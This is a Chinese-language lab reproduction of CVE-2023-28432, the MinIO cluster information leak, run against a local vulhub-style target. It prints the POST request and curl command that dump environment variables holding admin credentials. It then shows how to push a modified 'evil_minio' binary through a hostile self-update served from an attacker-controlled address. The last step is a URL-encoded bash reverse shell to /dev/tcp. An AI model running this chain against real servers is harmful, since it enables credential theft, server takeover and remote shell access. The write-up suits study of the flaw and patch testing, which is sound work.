MinIO 集群模式信息泄露漏洞(CVE-2023-28432)
概述
Minio 是一个云对象存储框架。
在从 RELEASE.2019-12-17T23-16-33Z 开始到 RELEASE.2023-03-20T20-16-18Z 之前的集群部署中,MinIO 存在漏洞,攻击者可以发送一个 POST 请求后返回进程所有的环境变量,其中包括 MINIO_SECRET_KEY 和 MINIO_ROOT_PASSWORD,导致信息泄露。
漏洞复现
开启靶场以后,访问 http://192.168.2.243:9001/可以进入 Web 管理登录界面,访问 http://192.168.2.243:9000/可以进入 API 服务。
漏洞的节点位于 http://192.168.2.243:9000/minio/bootstrap/v1/verify。
访问该节点,发送如下请求包:
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: your-ip:9000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
即可看到泄露的数据信息。
亦可使用命令:
curl -X POST http://192.168.2.243:9000/minio/bootstrap/v1/verify -vv
获取泄露信息。
泄露的数据中包含着 MINIO_ROOT_USER
和 MINIO_ROOT_PASSWORD
两项内容,这是管理员账号密码。
- 账号:minioadmin
- 密码:minioadmin-vulhub
使用该账号密码即可登录管理后台。
进行 RCE
MinIO 提供了一个非常方便的功能,可以通过 mc(MinIO 客户端)进行服务器管理,通过前面获取到管理员账号密码之后使用 mc 进行服务器升级。
在执行升级命令后,默认会从官方服务器下载最新版进行升级,但是升级地址是可以自定义的,即可以指定自己的更新地址以便于升级。
注意:构造恶意的更新指令后提示正常更新,并且执行了提供的恶意程序,但是替换了恶意程序之后,原本的 MinIO 服务会中断,所以想要无损利用,需要考虑基于源程序进行魔改。
此处使用的魔改源程序为 evil_minio
首先下载安装 mc 命令。
wget https://dl.min.io/client/mc/release/linux-amd64/mc
chmod +x ./mc
随后连接服务器。
./mc alias set [myminio] http://IP:Port [minioadmin] [miniopassword]
./mc alias list
下载魔改的源程序以后,使用如下命令生成所需的目标文件。
go mod tidy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -trimpath
mv minio minio.RELEASE.2025-08-11T00-00-00Z
shasum -a 256 minio.RELEASE.2025-08-11T00-00-00Z > minio.RELEASE.2025-08-11T00-00-00Z.sha256sum
利用 mc 发送自更新请求(开放 8000 端口):
./mc admin update [myminio] http://192.168.2.243:8000/minio.RELEASE.2025-08-11T00-00-00Z.sha256sum
此时访问:
http://192.168.2.243:9000/anything?alive=id
获取 Shell
在上述的基础上发送执行反弹 Shell 的命令,即可在攻击机上收到 Shell。
http://192.168.2.243:9000/anything?alive=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IP]%2F[Port]%200%3E%261%22